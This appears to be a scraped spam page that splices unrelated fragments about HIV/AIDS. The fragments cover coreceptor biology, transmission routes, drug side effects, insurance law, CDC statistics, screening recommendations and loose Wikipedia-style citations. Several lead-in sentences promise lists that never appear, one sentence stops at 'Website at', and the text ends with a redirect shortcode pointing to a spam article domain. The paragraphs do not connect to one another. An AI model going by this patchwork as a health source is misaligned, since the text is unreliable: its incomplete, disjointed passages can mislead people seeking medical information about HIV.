Over the past 3 decades the world has witnessed the evolution of the HIV pandemic. The impact of this infection continues to devastate much of Africa and many other poor communities throughout the world. The immunosuppression and immune dysregulation that typifies this disease is triggered by the human immunodeficiency virus (HIV), of which there are two subtypes: HIV-1 and HIV-2. HIV-1 has been responsible for the majority of infections worldwide, whilst HIV-2 causes a milder disease and has affected predominantly those in West Africa.
Entry of HIV into the host cell also requires the participation of a set of cell-surface proteins that normally serve as receptors for chemokines (hormonelike mediators that attract immune system cells to particular sites in the body). Those receptors, which occur on T cells, are often described as coreceptors, since they work in tandem with CD4 to permit HIV entry into the cells. Chemokine receptors that are known to act as HIV coreceptors include CCR5 (chemokine [C-C motif] receptor 5) and CXCR4 (chemokine [C-X-C motif] receptor 4), both of which are classified as G protein-coupled receptors. The binding of gp120 to CD4 exposes a region of gp120 that interacts with the chemokine receptors. That interaction triggers a conformational change that exposes a region of the viral envelope protein gp41, which inserts itself into the membrane of the host cell so that it bridges the viral envelope and the cell membrane. An additional conformational change in gp41 pulls those two membranes together, allowing fusion to occur. After fusion the viral genetic information can enter the host cell. Both CCR5 and CXCR4 have generated significant interest as targets for drug development; agents that bind to and block those receptors could inhibit HIV entry into cells.
People who inject drugs can take precautions against becoming infected with HIV by using sterile injecting equipment, including needles and syringes, for each injection and not sharing drug using equipment and drug solutions. Treatment of dependence, and in particular opioid substitution therapy for people dependent on opioids, also helps reduce the risk of HIV transmission and supports adherence to HIV treatment. A comprehensive package of interventions for HIV prevention and treatment includes:
Risk of HIV infection is increased when semen or vaginal fluids contain a large amount of HIV and/or when there are tears or sores, even small ones, in the skin or membranes lining the genitals, mouth, or rectum. Thus, transmission is much more likely during the following:
Drug treatment guidelines for HIV/AIDS change frequently as new drugs are approved and new drug regimens developed. Two principles currently guide doctors in developing drug regimens for AIDS patients: using combinations of drugs rather than one medication alone; and basing treatment decisions on the results of the patient’s viral load tests. Current information on United States Food and Drug Administration-(FDA)approved drugs by class can be found at the United States Department of Health and Human Services Aids Info Website at
Sexually transmitted diseases, or STDs, are infections that are transmitted during any type of sexual exposure, including intercourse (vaginal or anal), oral sex, and the sharing of sexual devices, such as vibrators. Women can contract all of the STDs, but may have no symptoms, or have different symptoms than men do. Common STDs in women are:
The transmission of HIV requires contact with a body fluid that contains the virus or cells infected with the virus. HIV can appear in nearly any body fluid, but transmission occurs mainly through blood, semen, vaginal fluids, and breast milk. Although tears, urine, and saliva may contain low concentrations of HIV, transmission through these fluids is extremely rare, if it occurs at all. HIV is not transmitted by casual contact (such as touching, holding, or dry kissing) or by close, nonsexual contact at work, school, or home. No case of HIV transmission has been traced to the coughing or sneezing of an infected person or to a mosquito bite. Transmission from an infected doctor or dentist to a patient is extremely rare.
Ron, 54, a public relations executive in the Midwest, started to worry about his health when he suddenly got winded just walking. “Everything I did, I got out of breath,” he says. “Before that I had been walking three miles a day.”
DeJesus E, Rockstroh JK, Henry K, et al. Co-formulated elvitegravir, cobicistat, emtricitabine, and tenofovir disoproxil fumarate versus ritonavir-boosted atazanavir plus co-formulated emtricitabine and tenofovir disoproxil fumarate for initial treatment of HIV-1 infection: a randomised, double-blind, phase 3, non-inferiority trial. Lancet. 2012 Jun 30. 379(9835):2429-38. [Medline].
At least once a week, I am asked by one of my HIV-infected patients whether they need to continue to practice safe sex if they are in a monogamous (one mate only) relationship with an HIV-infected partner. Put another way, since both partners already have HIV, what’s the harm of unprotected sex? Actually, this is not an easy question to answer fully.
Many governments and research institutions participate in HIV/AIDS research. This research includes behavioral health interventions such as sex education, and drug development, such as research into microbicides for sexually transmitted diseases, HIV vaccines, and antiretroviral drugs. Other medical research areas include the topics of pre-exposure prophylaxis, post-exposure prophylaxis, and circumcision and HIV.
Currently, the risk of infection with HIV in the United States through receiving a blood transfusion or blood products is extremely low and has become progressively lower, even in geographic areas with high HIV prevalence.
AID Atlanta, the largest non-profit HIV healthcare organization in the Southeast transforms lives with a continuum of care that provides access, linkage, and retention to HIV care. The Agency serves over 5,000 patients yearly. AID Atlanta’s major fundraiser – AIDS Walk Atlanta 5K & Run – now in its 25th year draws nearly 10 thousand and raises about $1 million annually. With an annual budget of $7.6 million and two locations in Midtown Atlanta and Newnan, GA, AID Atlanta provides services to over 50,000 individuals per year. Both locations provide services to newly diagnosed individuals who are then linked to primary health care and a comprehensive suite of programs that improve their health outcomes, provide basic needs and address mental health issues. AID Atlanta programs have been proven effective at improving health outcomes as measured by reduced viral loads and higher CD4 counts, the two key indicators of health for those who are HIV-positive.
AIDS and Health Care Closely related to work is the issue of health care. In some cases, the two overlap: Health Insurance, Social Security, and disability benefits for people with AIDS were often hard to obtain during the 1980s. Insurance was particularly difficult because employers feared rising costs, and insurance companies did not want to pay claims. To avoid the costs of AIDS, insurance companies used two traditional industry techniques: they attempted to exclude AIDS coverage from general policies, and they placed caps (limits on benefits payments) on AIDS-related coverage. State regulations largely determine whether these actions were permissible. In New York, for example, companies that sell general health insurance policies are forbidden to exclude coverage for particular diseases. Caps have hurt AIDS patients because their treatment can be as expensive as that for cancer or other life-threatening illnesses. Insurance benefits can be quickly exhausted—in fact, AIDS usually bankrupts people who have the disease. The problem is compounded when employers serve as their own health insurers. In McGann v. H&H Music Co., 946, F.2d 401 (5th Cir. ), a federal court ruled that such employers could legally change their policies to reduce coverage for workers who develop expensive illnesses such as AIDS.
Hecht FM, Wang L, Collier A, et al. A multicenter observational study of the potential benefits of initiating combination antiretroviral therapy during acute HIV infection. J Infect Dis. 2006 Sep 15. 194(6):725-33. [Medline].
In June, the first reports of AIDS in children hinted that it could be passed via casual contact but this was later ruled out and it was concluded that they had probably directly acquired AIDS from their mothers before, during or shortly after birth.17
Survival rates have dramatically improved for those individuals using protease inhibitors, but other problems have also arisen. Some persons do not respond to these medications or the side effects from taking the drugs diminish the quality of life. Protease inhibitors, for many people, are intolerable because of nausea, diarrhea, vomiting, headache, kidney stones, and serious drug interactions with other medications. By 2003 researchers had found that serious side effects include increased risk of heart attack, abnormalities in fat distribution, an increased propensity toward diabetes, and abnormalities in cholesterol metabolism.
The most common side effect reported with the most recently approved NNRTI, ETR, is rash and it was generally mild and rarely required that medications needed to be stopped. Side effects appear to be uncommon with RPV with some uncertainty as to whether it is associated with various neurologic symptoms.
A small but vocal minority of people, including some scientists, continue to argue that HIV does not exist, or does not cause AIDS, and that the HIV tests are unreliable or that the therapies are toxic. Such misinformation is usually based on a lack of understanding of the scientific literature, deliberate misrepresentation, or logical fallacies based on pseudoscientific arguments.
Jump up ^ Mittal, R; Rath, S; Vemuganti, GK (Jul 2013). “Ocular surface squamous neoplasia – Review of etio-pathogenesis and an update on clinico-pathological diagnosis”. Saudi Journal of Ophthalmology. 27 (3): 177–86. doi:10.1016/j.sjopt.2013.07.002. PMC 3770226 . PMID 24227983.
Moyer VA; US Preventive Services Task Force. Screening for HIV: U.S. Preventive Services Task Force recommendation statement. Ann Intern Med. 2013;159(1):51-60. PMID: 23698354 www.ncbi.nlm.nih.gov/pubmed/23698354.
Jump up ^ Zeng L, Zhang L (2011). “Efficacy and safety of zinc supplementation for adults, children and pregnant women with HIV infection: systematic review”. Trop. Med. Int. Health. 16 (12): 1474–82. doi:10.1111/j.1365-3156.2011.02871.x. PMID 21895892. Archived from the original on August 30, 2015.
Jump up ^ Gallo, MF; Kilbourne-Brook, M; Coffey, PS (March 2012). “A review of the effectiveness and acceptability of the female condom for dual protection”. Sexual health. 9 (1): 18–26. doi:10.1071/SH11037. PMID 22348629.
Last year, the Centers for Disease Control and Prevention, using the first comprehensive national estimates of lifetime risk of H.I.V. for several key populations, predicted that if current rates continue, one in two African-American gay and bisexual men will be infected with the virus. That compares with a lifetime risk of one in 99 for all Americans and one in 11 for white gay and bisexual men. To offer more perspective: Swaziland, a tiny African nation, has the world’s highest rate of H.I.V., at 28.8 percent of the population. If gay and bisexual African-American men made up a country, its rate would surpass that of this impoverished African nation — and all other nations.
Jump up ^ Duncan CJ, Russell RA, Sattentau QJ (2013). “High multiplicity HIV-1 cell-to-cell transmission from macrophages to CD4+ T cells limits antiretroviral efficacy”. AIDS. 27 (14): 2201–2206. doi:10.1097/QAD.0b013e3283632ec4. PMC 4714465 . PMID 24005480.
Sexual intercourse is the major mode of HIV transmission. Both X4 and R5 HIV are present in the seminal fluid, which enables the virus to be transmitte from a male to his sexual partner. The virions can then infect numerous cellular targets and disseminate into the whole organism. However, a selection process leads to a predominant transmission of the R5 virus through this pathway. In patients infected with subtype B there is often a co-receptor switch in late-stage disease and T-tropic variants that can infect a variety of T cells through CXCR4. These variants then replicate more aggressively with heightened virulence that causes rapid T cell depletion, immune system collapse, and opportunistic infections that mark the advent of AIDS. Thus, during the course of infection, viral adaptation to the use of CXCR4 instead of CCR5 may be a key step in the progression to AIDS. A number of studies with subtype B-infected individuals have determined that between 40 and 50 percent of AIDS patients can harbour viruses of the SI and, it is presumed, the X4 phenotypes.
The Centers for Disease Control and Prevention (CDC) estimates that approximately 40,000–50,000 new human immunodeficiency virus (HIV) infections occurred annually in the United States from 2006 to 2009 (1). Almost 1 in 5 (18.1%) of all individuals infected with HIV are unaware of their HIV status (2). In order to identify individuals with undiagnosed HIV infection, the CDC recommends HIV screening for all patients aged 13–64 years in health care settings (3). Because obstetrician–gynecologists provide primary and preventive care for adolescents and women, they are ideally suited to play an important role in promoting HIV screening for their patients. The American College of Obstetricians and Gynecologists (the College) recommends routine HIV screening for females aged 13–64 years and older women with risk factors. Screening after age 64 years is indicated if there is ongoing risk of HIV infection, as indicated by risk assessment (eg, new sexual partners). [redirect url=’http://penetratearticles.info/bump’ sec=’7′]